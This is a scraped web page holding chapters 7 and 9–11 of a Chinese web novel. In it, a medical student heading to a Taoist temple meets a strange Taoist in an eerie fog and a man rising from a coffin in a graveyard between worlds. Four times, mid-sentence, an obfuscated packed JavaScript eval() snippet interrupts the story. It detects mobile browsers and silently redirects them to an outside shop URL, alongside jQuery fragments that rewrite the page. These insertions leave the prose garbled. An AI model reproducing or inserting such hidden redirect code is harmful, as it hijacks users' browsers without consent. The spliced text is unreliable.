《我在道观打杂的那些日子》
7. 文学城唯一正版
好消息,我安全抵达了车站。
坏消息,我差点把早饭全吐出来了。
得益于先前被团市委摇过去做了一个寒假和一个暑假志愿者的缘故,我对车站的构造了如指掌,一下出租就直奔厕所,吐了个昏天黑地。
吐完后,我从包里掏出用酒精湿巾,开始擦公共座位。
进入青春期之后我就冒出了一些小毛病,最明显的是洁癖。这个毛病在学医后放大了十倍,或者说,缩小了百万倍,到了微观层面。只是跟我的老师们比起来,我这点儿洁癖其实也算不上什么。
我有位教微生物的老师,随身必备一次性手套,每次扫共享单车都要戴上。她从来不吃花生米,火锅调料也不加花生碎,就怕被黄曲霉素污染。还有位老师随身带吸管,因为喝饮料时里面的糖分会对牙釉质造成间接损害。
医学院的人多多少少都有各种毛病,而我仅仅是随身带酒精湿巾,相比之下,我觉得自己简直堪称院内的一股清流。
擦完座位后,我空着肚子,开始坐在上面思考人生。
短短的一分钟,我想了很多。从北京的烤鸭,想到乐山的钵钵鸡,最后又想到了柳州的螺蛳粉。
在失败这件事上,我一向很成功。
没等我望梅止渴,五步开外就多了位老奶奶。她站在取票机前,佝偻着身子凑近,试图看懂上面的操作流程,花白的眉毛像毛毛虫一样皱起来。
她身后是几个不耐烦刷着手机的年轻人,也许是耽误太久的原因,不断发出“啧”的声音。
因为之前在车站做过很多天志愿者,我一眼就看出来,那位老奶奶被自助取票机难住了。当时我们的主要任务就是帮旅客们指引方向,协助取票,类似的场景几乎每隔几分钟都会上演一回。
我忽然产生了些错觉,好像高速发展的科技列车,只搭载了一部分人,而另外一部分年长的人却被远远地落下了。他们不会操作那些复杂的机器,尽管这些机器上往往写着鲜明的“自助”两个字。在医院如此,在车站也如此。
秉承着助人为乐的信条,我上前帮老奶奶取了票,没有理会后面那些神色各异的年轻人,回到座位,继续在心中勾勒出全国的美食。
想着想着,就想起了小时候在镇上吃的那种糯米饭,我不知道它有没有专门的名字,只记得味道很棒。满满当当一大碗糯米,浇上香菇肉汤,再洒层油条碎,捧在手里暖乎乎的。
离开镇上后,我再也没吃过那样好吃的糯米饭。
也再没遇上谢宅那样温暖的小社会。
……
好不容易上了车,我照例选了靠窗的位子,方便欣赏风景。
正好是三月,路边的油菜花开得正盛,放眼望去金灿灿一片,漂亮得像幅水彩画。我满心欢喜畅想起修仙的光景,三年筑基五年化神,十年修成大圆满,成为二十一世纪修仙第一人!
我的职业规划非常完美。经历了两次转站,合计五个多小时的漫长旅程后,我终于快抵达山脚的县城了。
先前周师兄告诉我,上山的交通工具主要有两种,一种是县城专门的小绿车,每逢赶集日运行,另外一种是摩的。
周师兄说话一向很淡定,但在交通工具这件事上,她前前后后总共提醒了我三次——不要坐摩的、不要坐摩的、不要坐摩的,特别颠、特别颠、特别颠!
看来她留下了非常惨痛的心理阴影。
我这个人最大的优点就是听劝,果断问了赶集日是几号,得到0、2、5、8这几天。
坏消息是周师兄不清楚这究竟是按农历来算还是阳历。
我跑去隔壁和林狗探讨这个问题的时候,他沉默了会儿,然后告诉我,今年三月农历和阳历日期是一样的。
我翻着日历,发现还真是,不由得震惊:“你居然背着我偷偷长脑子了!”
林狗:……
林狗:“毕竟天天跟你耳濡目染的。”
“你不要以为我听不出你在阴阳怪气。”我反手就是一拳,被他熟练躲开。
看到他按照预期走位被地上的逗猫棒绊倒,我心情愉悦地问:“你说我几号出发比较合适?”
林狗皱着眉头拎起脚下那根被翠花咬得面目全非的逗猫棒,说:“2号吧,比较符合你的气质。”
“那就8号了,吉利。”我点头。
然后翠花不知道从哪个旮旯蹿出来,糊了我一脸哈喇子。我跌倒在客厅那个看起来厚实的沙发上,经过长达0.3秒的缓冲后,像根葱一样栽进去了。
物理意义上的栽。
我沉默三秒,摸了把沙发,发现它被翠花咬成空心的了。林狗坐在地板上放声大笑,我抓起翠花的毛绒玩具抛过去,正中他的嘴。
翠花是我给他家哈士奇取的名字。
高中有段时间我特抑郁,抑郁得感觉全世界都与我为敌,差点就要从正派阵营倒戈向反派阵营,华丽丽地走上毁灭世界的康庄大道了。
残存的良知不允许我黑化得如此迅速,便展开了艰难坎坷的自我拯救行动。我看了几部据说很治愈的电影,没什么效果;吃了最喜欢的火腿三明治,也没效果。
在一系列的自救措施都失败后,我怂恿林狗养了只二哈。
每次我心情不好的时候,去隔壁看翠花拆他家,然后心情就好了。
翠花是我见过最温暖的狗狗,所以每回我写不完长假作业,都会将宝贵的练习册带过去给它玩。等它啃得差不多了,我再拍张照片发给老师,一把鼻涕一把泪地控诉,说好不容易写完的作业都被狗咬烂了。
每逢这时,翠花就会用它那双清澈的眸子望着我,小心翼翼用爪子把作业残骸往我这边刨。
想必,在翠花的眼中,我也是它见过最温暖的人类吧。
……
8号的天气很好,气温低得我刚好可以把最厚的棉服穿在身上。
快到的时候,我问周师兄小绿车该在哪里坐。她总共到过三回抱朴宫,遗憾的是,她一次坐的摩的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116263|138242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,另外两次都是搭的师兄的顺风车,所以不清楚这个问题。
我只好去问另一位李师兄。李师兄并没有直接回答,而是先问了问我性别,在确认我是女的之后,她告诉我了一个堪称晴天霹雳的消息——
义工楼没床位了。
没床位了。
位了。
我人都快到了,李师兄却告诉我,没床位了。这件事的离谱程度堪比进了手术室却突然发现没有换无菌衣。
不是,这么一座名不见经传的偏远道观都如此抢手吗?
现代人类的内卷程度极大的超出了我的想象。本以为平板划线这种基础操作都要写上十页报告的我的同学们已经是医学院特产,没成想,在修仙这件事上也给人开辟出了新道路。
接二连三的变故让我怀疑自己是不是走了什么霉运。经过再三追问,李师兄依旧斩钉截铁地告诉我,不招了没床位了,尽管我告诉了对方自己是早就报好名的。
我又点开先前对接的那位杨师兄的聊天框,翻出之前跟她说好的到达日期,确认没错,发消息询问。
需要补充一下,我开始在小蓝书上看到的是杨师兄发的招人帖子,最先加的也是杨师兄的联系方式。只是后来周师兄热情地给我推了李师兄的微信,说杨师兄是负责另一部分的,义工的话直接联系李师兄就好了。
才感慨过抱朴宫分工明确,这下又给我整懵了。
谨以我的惨痛经历告诫每一位想去道观做义工的朋友,去之前一定要搞清楚他们的组织结构,因为他们内部人员的消息可能也不是互通的。
我看着地图上越来越小的距离,开始怀疑人生。
事到如今,只能走一步算一步了,实在不行死半路。
当我思考是不是该改路去庙里破太岁的时候,李师兄的消息再次发了过来——
又有床位了。
我的心情就跟股票分时图似的,起起伏伏起起伏,一路那个惊心动魄……哦不对,说得好像我炒股赚过钱一样,哈哈。
不过我再次确信了,抱朴宫确实是个巨大的草台班子。
李师兄只确认了我的性别,而没确认我的名字,导致她做出如此莽撞的结论。跟杨师兄沟通一番之后,才发现义工楼还有个床位,而且刚好是给我留的。
这样想想,其实我根本没必要提前加她的微信,就像没必要加后厨师兄的联系方式一样。周师兄实在太热情了,把观里一大半人的联系方式都推给了我,而我的脚甚至都还没踏上那片土地。
由于她的过分热情,以及李师兄的斩钉截铁,再加上杨师兄的言简意赅,包括我的理所当然,一连串弯路就这样顺顺利利地诞生啦!
又是没有困难就硬给自己制造困难的一天呢。
经过百番挫折,我终于要到了小绿车师傅的号码,提前跟人通了电话,说下午要坐车。
师傅应得很爽快,我的心情也重新明媚起来。
哪成想,还没上山,怪事就发生了。
9. 文学城唯一正版
福林县是个人口不多的小县城,一车大巴总共也没多少人坐。我看着那些边骂骂咧咧边轻车熟路找家的本地居民,基本确定了,全车就我跟封十八两个外乡人——
呵,想让我喊姨?做梦。我决定管她喊封十八。
封十八拄着那根粗糙的长长拐杖,穿着单衣,在寒风站得意外的挺拔。我看着她伟岸的身姿,不禁搓着胳膊发问:“你不冷吗?”
她神色丝毫未变,只是用那双困得不行的眸子看着我,然后疑惑地问:“你冷吗?”
废话,我讲话都吐白气了我一个大活人能不冷吗!!!
我根本懒得搭理她,在原地跳了一套广播体操,伸展运动、下蹲运动、转体运动、踢腿运动。跳着跳着,身体就成功地……越来越冷了。
我只好从背包里掏出暖宝宝,把前胸后背还有四肢全贴了个遍,然后蹲在地上把自己蜷成一团。再拿出水杯,打算补充点水分。
更离谱的事情发生了。
满杯水居然全结冰了!
我不可置信盯着手中的杯子,把它一百八十度翻转过来,使劲拍了拍、又使劲晃了晃,晃得手都快酸了。然后看着杯底纹丝不动黏着的冰坨子,整个人都傻了。
我一个南方人哪见过这种场面,那么满一杯水,就算放冷冻箱,也得好几个小时才能结冰吧。不是,从大巴撞树到现在,总共才几分钟啊?
就连眼前的雾气似乎也越来越重了,十米外先前还能勉勉强强看清的大树,现在只剩下最顶上一截隐隐约约的绿了。
这什么鬼天气啊,莫名其妙的低温、莫名其妙的大雾。
山中起雾本来不算稀奇事,我之前去峨眉山的时候雾也老大了,只是那天下了雨,而且越往高处走,雾才越明显。
可现在本来是个大晴天,这里还是山脚。放眼望去,几乎看不清前路。
弥漫的雾气令我想起之前看过的一部恐怖电影,名字叫《迷雾》。开篇就是一场突如其来的大雾,几乎眨眼间就包围了整座城市,比雾气更令人不安的是里面藏着的诡异生物,蛰伏在阴影中攻击它的猎物。
不妙的是,眼前那片雾竟然以肉眼可见的速度浓缩起来。
我看着越来越重的雾,感受着周围越来越低的温度,感觉自己全身的血液都快要冻僵了。就连感觉神经似乎都出现了问题,脸上忽然冰冰凉凉的,似乎落了滴雨。
抬头一看,天上并没有下雨。
再偏头一看,原来雨是从头顶大树上落下来的。一滴、两滴、三滴……顺着盘虬的枝干密密麻麻落下,滴答滴答砸到地上,顷刻就从我的脚边蔓延开来。
我迟钝地低头,顺着望过去,看到脚下那片液体。
猩红色,像脉管中流出的鲜血,一路铺向看不见的远方,几乎将整个世界都染成血红色。
我又迟钝地摸了把脸,摸到满手的血。
正在这时,司机师傅的怒骂声传到我的耳中:“噫,弄啥嘞,这车窗啥时候碎的!噫,还有椅子,这么多全破了!完犊子,这下半个月工资又要没了!噫,这地板,弄得全是水——噫,还下雨了?今天是什么鬼日子,倒霉到姥姥家了。”
“什么?下雨了?正常人会管这种红色液体叫‘雨’吗?福林县居民的心理素质竟然恐怖如斯?”我大受震撼。
听到我的话,封十八偏过头,居高临下打量着我,忽然笑了起来:“原来你已经开过天眼了。”
“开过天眼了?我怎么不知道?我也没见过鬼啊?”我纳闷地问。
她猛地蹲到我面前,闭上眼睛在我脖子附近嗅了嗅。
变了个大态,她当我是猫薄荷吗?我差点反手抽她一巴掌,还好她及时撤身,然后说:“你身上有那个家伙的气息。啧,还是一如既往的讨人厌。”
“那个家伙是谁?”我皱着眉头问。
封十八没回我,重新站定,拐杖“嘭”地往地面一拄。
“你能不能不要说话只说一半,很讨厌的知道——”我在背后严词谴责她这种行为,下一刻,水泥地面转瞬裂开一个口子,似蛛网一般四面八方蔓延开来。
我脚下一个没稳住,差点绊倒,说了一半的话卡壳,不可置信望着眼前这一切。
拜托,这可是水泥地诶。裂了,居然给她整裂了,这是人能做到的事?能不能尊重一下祖国的基础设施啊???
没等我从这一系列剧变中反应过来,周围忽有狂风大作。
满地枯黄的落叶打着旋腾空,沾着猩红的血,席卷向高空。像洒了漫天的纸钱,颇有遮天蔽日之势。
一片枯叶擦着拐杖划过,最顶上系着的那串羽毛在狂风中剧烈翻飞,那根拴着它的绳细得让人疑心很快就要断裂。
看着看着,我莫名觉得那羽毛样式古怪。粗糙暗淡,不像鸟羽,倒似鸡毛。恍然间,我明白了什么:“你居然在占风?”
她饶有兴趣看着我,弯了弯嘴角:“怎么,你知道风角术?”
我当然知道,追《不良人》的时候,看里面提过好几次李淳风的《乙巳占》。我特好奇,就专门翻出来看了遍,在里面看到一种占风的方法。
占风,顾名思义,用风来进行占卜。
凡候风者,必于高迥平原,立五丈长竿,以鸡羽八两为葆。*
鸡属巽,所以用占风需用鸡羽。
“你这竿子虽然长,但也没到五丈高吧?”一丈三米三三,五丈那得十多米了,我专业地指出她的不专业。
“所以你难道让我扛着五丈高的竿子在路上走?”封十八语气不善反问。
说着,她提起木竿。
“什么,你这就要抡我了?我好心纠正你你不感谢我就算了现在还要恩将仇报?”我心中骇然,急忙侧身往旁边闪,一边闪一边控诉:“做人不能这样,亏你还是个道士,会损阴德的!”
封十八沉默了会儿,用看智障的眼神轻飘飘乜了我一眼,开口:“戏这么多,不是写小说的就是搞漫画的吧?”
然后将木竿往地上敲了敲。
这个世界上怎么能有人比我还拽呢,简直不可理喻好吗。我特别不爽她看我的眼神,怒气冲冲反问:“不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116265|138242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是,写小说的招你惹你了!”
但是当看清接下来发生的那一幕时,我当即就噤了声。
封十三手上那根竿子竟然以肉眼可见的速度长长起来!转眼便高出旁边树木一大截,我甚至需要仰起脑袋才能跟上它生长的速度。
如果不是亲眼所见,我简直无法相信这种违反人类常识的事情真能在现实世界发生。
最后木竿停在了五六层楼那样的高度,我都看不清上面的鸡毛了。
羽重八两,以仿八风。竿长五丈,以仿五音。*
而这么长的竿子,封十八居然握得稳稳当当,连晃都没晃一下?
接二连三的诡异事件让我不禁怀疑自己是在做梦,也许睡一觉,醒过来就好了。我安详地阖上双眼,刚调整好姿势,就被前方再度响起的声音打断。
“找到了。”封十八身子左转九十度,伸出那只带着大金戒指的手,指着那片迷雾,说:“往那边走。”
我刚睁开眼,就差点被那只大金戒指闪瞎。
再顺着望过去,除了雾什么也看不清。我又看了看她头顶那副硕大无比的墨镜,没懂为什么会有道士穿得如此花里胡哨。
这家伙一看就不是正经人,我才不要照她说的方向走,拿出手机联系小绿车师傅。
“嘟、嘟、嘟——”
还是没有信号。我听着电话里不断传出的忙音,心如死灰摁熄屏幕。
“哎呀呀,看来你只能跟着我了呢。”封十八双眼弯弯,又笑了起来。
我不明白为什么有人笑起来可以如此欠揍,看得我真想抽她两巴掌。
算了,打不过。识时务者为俊杰,我拖着装得满满当当的26寸行李箱跟在她后边,然后从裤兜掏出三枚铜钱。
封十八手上那根五丈高的长竿眨眼就恢复了初始大小,墨镜也重新架到鼻梁前,迈着二五八万的步子就出发了。
她居然连个箱子都没拎,全身上下就带了根竿子,清闲得像来逛街的。
“那边是抱朴宫的方向?”我问。
封十八托着下巴思考了会儿,然后才想起似的,说:“哦,不是,是位故人。”
……
十分钟后,我看着面前那片阴森森的墓地,问她:“所以这就是你说的故人?”
是的,没错,封十八把我带到了一片墓地。
奇怪的是,一路走来,雾气居然消散许多。直到踏入这片墓地,雾气竟然散尽了,我得以看清眼前的景象。
黑压压一片,高低错落。最中央那个最大的墓上面没写墓主姓名,竟然是白碑,大抵是还没人进去安葬。
然后我就看到封十八优哉游哉走到那个空白墓碑面前,理了理衣袖,恭恭敬敬地……
躺了上去。
她打了个哈欠,懒洋洋道:“可累坏我了,歇会儿。”
我看着她清清闲闲的模样,抛了抛手里的铜钱:“我刚刚起了一卦,想算你是个什么东西,巽上巽下,得巽卦。”
“但我不知道该怎么解。”我问她:“或许你知道吗?”
10.文学城唯一正版
“啧,小小年纪,没礼貌。”封十八掀起眼皮,打了个哈欠:“你才是个东西。”
我宽宏大量没跟她计较,找出她话里的重点:“你看着跟我也差不多大,怎么,难不成你道行颇高驻颜有术?还是说你压根不是人?”
我的问题没能收到回答,就被另外一道声音打断了——
“两位,在我的坟前聊得可尽兴?”
问得还挺有礼貌,就是用词有点儿诡异,听起来还有些闷,似乎是从什么狭小的密闭空间里发出来的。
不过虽然闷,那声线却好听到近乎华丽,我听着竟然有些耳熟,皱着眉头试图回想。想了老半天,愣是想不起在哪听过,应该不是熟人。
既然不是熟人,我为什么会对这道声音有印象?奇了怪了。
最古怪的是,这声音明明没多大,却自带回音效果,在林木间层层叠叠扩散开来。话音刚落,满山的雀鸟似乎都停止了鸣叫,像是惧怕出声的人。
……不对,这片林子居然没有鸟,一只都没有,我猛然意识到这个问题。自从进入这片墓地,就没见过任何一只鸟,也没听到过一声鸟鸣,甚至连蚊虫都没有。
世界格外安静,安静得我几乎能听见自己的呼吸声。
好像除了我和封十八之外,整片林子,一个活物也没有。
那么问题就来了,是谁说的这句话?我环顾四周,企图找到声音来源,却连一道多余人影都没瞧见。
又在下一秒,狂风骤起。满树的叶片像受到什么外力,疯狂卷向天空,密密麻麻网住了这方天地,挡住了我的视线。
漫天树叶像静止剧照定格在空中,直到一声巨响打破这幅画面。
“嘭!”
前面一阵黄土扬起,连带着好些草根拔地而起。我猝不及防呛了满嘴的沙,抬手扇开,不可置信望着前边的景象——
那块墓、居然、自己、开了???
哦不对,那个空墓居然被踹开了!
还是从里面踹开的!
封十八本来躺在上面休息,迅速拄着木竿从墓板上跳开,转身退步,露出底下那个……棺材。
不像城市里的公墓那样,为了节约土地,小小一块墓,只放骨灰盒,价格还死贵。而是实实在在的传统土葬,埋了口棺材。
棺材既不是朱红色,也非漆黑,反而黄灿灿的,纹路光滑,看着像金丝楠木。我想起之前逛某座博物馆的时候,导游说这种木头在古代被称作“帝王之木”,是皇家贵胄才用得起的,甚至有传言说乾隆那口金丝楠木棺材是去前朝嘉靖永陵里偷的。
而现在,那口价值连城的棺材,非但毫不起眼埋在福林县这样一座偏僻的小县城,还被相当暴力地踹开了,厚实的棺材盖眨眼就四分五裂。
等棺材裂开,里头站起个人,身上穿着件黑色寿衣。布料貌似是丝绸的,做工看起来还很讲究,用金线绣着华美的龙纹,栩栩如生。
踹开棺材盖后,那人慢条斯理拍了拍身上的灰,又转过身,和和气气地问封十八——
“我的墓,你睡着可舒服?”
封十八第五次打了个哈欠,认真思考片刻,然后诚实地回答:“有点儿硬,我骨头硌得慌,不过闻着还挺香,应该是那棺材的味道?哦对了,要是有果子吃就好了。我看别人坟前都有果子,你居然一个都没有,看来混得不行啊。”
我:……
我叹为观止,先看了眼封十八,又去看那个从棺材里蹦出来的家伙。
“在找我吗?”那人…哦不,那鬼不知道什么时候到了我身后,连点儿脚步声都没有,还朝我耳边缓缓吹了口气,轻声问道。
我耳边顷刻就栗起密密麻麻的鸡皮疙瘩,猛然拉开距离,怒气冲冲朝后面吼:“变态啊你,靠这么近,人鬼有别你不知道啊!”
对方不恼反笑,眨眼就撤开距离,靠在身后那株苍天的巨树上,姿态那叫一个闲情逸致。
我这才注意到那棵树,像是凭空出现的一般。
我从来没见过这样高大的树,树干足有十人环抱之粗,上面满是皲裂的纵壑,仿佛由千万年时光一笔一划凿刻而成。树冠更是大得离谱,几乎遮蔽了整篇天空。
怪不得雾气散尽也没见到一丝阳光,原来全被这棵巨树挡完了。
简直不像人间可以见到的树木。
我甚至连它是什么品种都看不出来,硬要说的话,倒有点儿像神话里才存在的东西。
说起来,这是件很巧的事。不管是东方文化还是西方文化,世界各地在古时都曾有过树崇拜。
北欧神话里,世界是从巨木长出来的,而那棵巨木被称作世界树。中国的《山海经》里,扶桑不仅是十个太阳的栖居之所,还是人、神、冥三界的连通之门。古印度里也有类似概念的宇宙树,古埃及则是天树。
我很快想起去三星堆时见到的那个镇馆之宝青铜神树,不过最感兴趣的却是再往里走摆着的那棵汉朝的摇钱树。
看到名称后我当即双眼一亮,差点直接拜上去,然后导游小姐姐说那是陪葬物品,招的是阴财。我为暴富做出的巨大努力再次以失败告终,只好心如死灰收回手。
“它确实不是人间之物。”那只鬼仿佛能看出我心中所想似的,缓缓开了口:“它是连接阴阳两界的神树,严格来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128714|138242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
讲,你脚下已经不是人间了。”
“哦,所以你才戴着那么大一顶帽子,怕见光就死?”我没好气地问。
没错,说话的鬼戴着顶巨大无比的黑帽子,帽檐宽大,将整张脸都遮住。我到现在还不知道这鬼长啥样。
“小小年纪,脾气蛮大。”听到我的话,那鬼摘下帽子,微微欠身,竟然慢条斯理地自我介绍起来:“幸会,鄙姓谢,谢——”
那张惊为天人的脸缓缓露出,丰姿如玉,目似朗星,好看得像神仙一样。因为美得太过突出,就算是化成灰我都认得。
“谢玉川???”我叫出对方的名字,问:“你怎么十多年过去一点儿都没老?哦对,你既然穿着寿衣那就说明你已经死了,死人当然不会变老——不对,你一个死人为什么会说话!”
“怎么,你认识我?”谢玉川看起来很认真地回想着。然后走到我面前,像封十八那样伸出食指点了点我的眉心,疑惑地皱起眉,自言自语道:“我何时给你开的天眼?”
“哦,我想起来了,你叫……”谢玉川斯斯文文地问我:“你叫什么来着?”
这是压根没想起来吧。
我沉默片刻,回道:“万斯年。”
“于万斯年,受天之祜。受天之祜,四方来贺。是个好名字。”谢玉川神色自若点了点头,又接着道:“就是太大了,有些难压。不过你命格硬,这名字你用倒是正合适。”
“你居然知道这首诗?你也觉得这名字很帅对吧!之前老有些文盲说我名字像男孩,我跟他们解释他们都听不懂,没想到第一次有物种知道我名字出处,居然还是只鬼!”
打小我就觉得自己这个名字贼帅贼霸气,每次自我介绍都要说:“我叫万斯年,‘于万斯年,受天之祜’的万斯年。”
但从来没有一个人懂过,谁能想到第一个懂的居然是只鬼呢。
我差点感动得泪流满面,又问:“不过话说回来,现在的鬼都这么有文化了吗?地府也卷成这样了?”
旁边的封十八却变了脸色,面色不善朝我望来:“所以‘万一’这个名字是假的?”
我不以为意:“你那什么‘封十八姨’不也是编的吗?咱俩彼此彼此,你就不要一副被骗了十八万的表情好不好。”
“你冤枉她了,她确实叫这个名。”谢玉川插话:“以及,我不是死人,也不是鬼。那口棺材本来是我给自己准备的,但我没死成就被你们吵醒了。”
我:?
我九十度鞠躬:“私密马赛,您继续死,我这就离开!”
我光速转身,然后脖子一紧,就被连人带帽子给拎了回去——
11.文学城唯一正版
“外面雾大,当心走失。”
谢玉川的声音从身后传来。
这人看着斯斯文文,力气却奇大无比,差点一把给我扯得栽过去。
还好我练过这么多年散打,底子尚在。我费力把自己的衣领从这人手里扯出来,整理了下表情,然后转身,愤怒地忍气吞声:“那你带我出去?”
“哦,我看着像好心人么?”谢玉川似笑非笑望着我,片刻后又说:“不过我可为你指条明路,瞧见前面那条河了吗?沿着河走下去就能到达人间了。”
我顺着谢玉川的目光望去,才发现那条不甚起眼的小溪。隐约从巨树后现出一角,不过步余宽,看着也挺浅,岸边长了许多芦苇。
“正好渴了,去喝点水。”封十八似乎终于从瞌睡中醒来,朝那边走去。
“哦对了。”走前又想起什么,她从兜里掏出叠黄色的东西,交给谢玉川:“这玩意儿本来想烧给你,没想到你还活着,那就送你取暖吧,看你这里还怪冷的。”
我看清了那叠东西,居然是纸钱,黄灿灿一片。
谢玉川接过,也没见有什么动作,那叠纸钱就轻飘飘化作一堆齑粉,然后很受伤地开了口:“唉,你手上金戒指那么大,却连个金砖都不舍得给我烧,亏我们认识这么多年。”
“我这戒指是别人送的,你别想打它主意。”封十八如临大敌地警告道,完了抬起手,朝金戒指上哈了口气,又很宝贝地用袖子擦了擦。差点又要闪瞎我的眼睛。
……
我这一天过得是惊心动魄。先是打的打成漂移车,把早饭吐了个精光,然后坐了六个小时的大巴没进食。本来想一到镇上就找家面馆之类的嗦碗粉,哪成想,莫名其妙进了场大雾中。
好不容易从雾中走出来,又被个奇奇怪怪的人带到了墓地,见到一个更奇奇怪怪的人。
现在这俩奇奇怪怪的人正在进行奇奇怪怪的对话。
我整个人饿得前胸贴后背,差点就要头晕眼花了,把自己的行李箱放倒在地上,企图从里面找出几包吃的。才拉开拉链,猛然想起,为了节约空间,我把零食全掏出去了。
什么叫自作孽不可活啊。我心如死灰关上行李箱,看着眼前阴森森的墓地,现在觉得别人的贡品都是香的——
哦不对,那些墓碑前的贡品全腐烂了。说腐烂也不尽然,因为表面没有生霉菌,只是干枯得只剩空壳子。
这显然不符合常理。干成这个样子,居然连烂都没有烂?
恍然间,我意识到了,这个地方没有“活物”或许并不只局限于肉眼可见的生物,还包括那些微生物,比如霉菌。
唯一能够正常生长的似乎只有这些郁郁葱葱的树。
完全违背了生物学法则。
哦不,人都能从棺材里出来了,还指望这个地方能遵循什么自然界法则?
我拿出手机,试图计算从这里出去到抱朴宫要多久,还能不能有晚饭剩下。周师兄之前说道观每天六点吃晚饭,去晚了就要排队,热情地建议我早几分钟过去,还专门给我推了厨房师兄的微信。
虽然我不知道像这种集体堂食,除了去开小灶之外,还有什么加厨房师兄的必要。但鉴于在干饭这件事上,我从来没输过,这次也万万不能留下耻辱经历。
只是,看到屏幕后,我人都傻眼了。
在这里呆了这么久,时间居然和来的时候……一模一样???我来之前还特意看了眼时间,16:37,而现在,屏幕上依旧是醒目的16:37。
“看来已经发现了呢。”谢玉川微笑着解释:“如你所见,对外界来说,这里的时间是凝固的。”
好家伙,现代版桃花源记啊。短短一天时间之内,我本就不够坚定的唯物史观遭受了接二连三的冲击,如果下一秒有果宝特攻突破次元壁出现在我面前,我想我也可以毫无心理障碍地淡定接受。
可是人家桃花源好歹有吃的啊!而这破地方除了树和墓之外啥都没有。我摸了摸空空荡荡的肚子,很有求知欲地问:“为什么时间凝固还会饿?”
谢玉川微笑着回答:“因为你来之前就是饿的。”
我:……
我只好拖着饥肠辘辘的身躯往谢玉川先前指的那条小溪走。
封十八已经在那里捧了口溪水喝了。
这里的溪水没结冰,我开始还以为是暖宝宝的缘故,身体才热乎起来。现在看来,这个地方的气温是正常的,或者说,外界的低温并没蔓延到这里。
封十八喝得酣畅淋漓,我看得触目惊心,脑子里飞速闪过湖里可能存在的寄生虫,以及她的可能死法。血吸虫、姜片吸虫、阿米巴原虫。横着死、竖着死、旋转跳跃闭着眼死……
哦,这里微生物没法生长,所以也不会有寄生虫。
虽然得出了这个结论,但我经年累月的医学素养并不允许我进行和她一样的高危行为。
学医之前我能够开开心心地作死,学医之后我就只能小心翼翼地作死了。
小时候我跟着林狗提着篓子一起去挖荸荠,挖完洗干净就直接生吃,每回吃得都可高兴了。可长大后我学了《人体寄生虫》,老师说布氏姜片吸虫的幼虫会吸附在荸荠表面,生吃有可能感染,然后和蔼地放了几张狰狞的图片。
得益于那些挑战人类食欲的教学图片,我从此不敢看荸荠。
于是我拧开自己的水杯试图饮水充饥。
一口下去,更饿了。
我饥肠辘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13140147|138242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辘地质问封十三:“你开始就不能直接把我带到抱朴宫吗?非得来给人送那点儿仨瓜俩枣的纸钱?”
“哦,我还想看看你能不能活着走进这个地方。”封十八擦干嘴角,用那副硕大无比的墨镜望着我:“现在看来,你的确很特别。”
“知道那里为什么有那么多墓碑吗?”封十八偏头望向那片墓地,平静地说:“这里是人间与冥间的交界处,按理说活人不能进入,但总有人用些歪门邪道,打开了连接两个世界的‘门’。”
“至于结果,你刚刚也看到了。”
“他们都死在这里了。”
“而死在这里的灵魂,永生永世不得超生。”
我听得背脊一凉,试图消化她说的这一切:“所以刚刚那场莫名其妙的雾,就是因为有人开了那扇‘门’才产生的?”
封十八赞许地说:“反应挺快。”
“是吗?”我阳光灿烂地在她旁边蹲下,微笑:“你之前是怀疑我开的‘门’吧,所以才试探我。”
没等她回答,我重新起身:“这个鬼地方连太阳都见不到,我没事进这里来干什么?我要回去吃饭,吃顿好的,还要加个鸡腿。”
我拖着行李箱,沿着那条浅浅的小溪往前走。
走着走着,沿途的风景就变了样。
从一片灰扑扑的墓地,变成了另外一片灰扑扑的墓地。
我不由得震惊:“不是说人间和冥间的交界处吗,居然这么好进的吗?那么多墓碑,组队之后都够踢完世界杯了吧——哦不好意思,我忘了国足进不了世界杯。”
虽然戴着墨镜,但我可以肯定,封十八现在的眼神一定特别不屑。想到这,我很快懂了她为啥老戴着个大墨镜,一定是太拽了怕被揍。
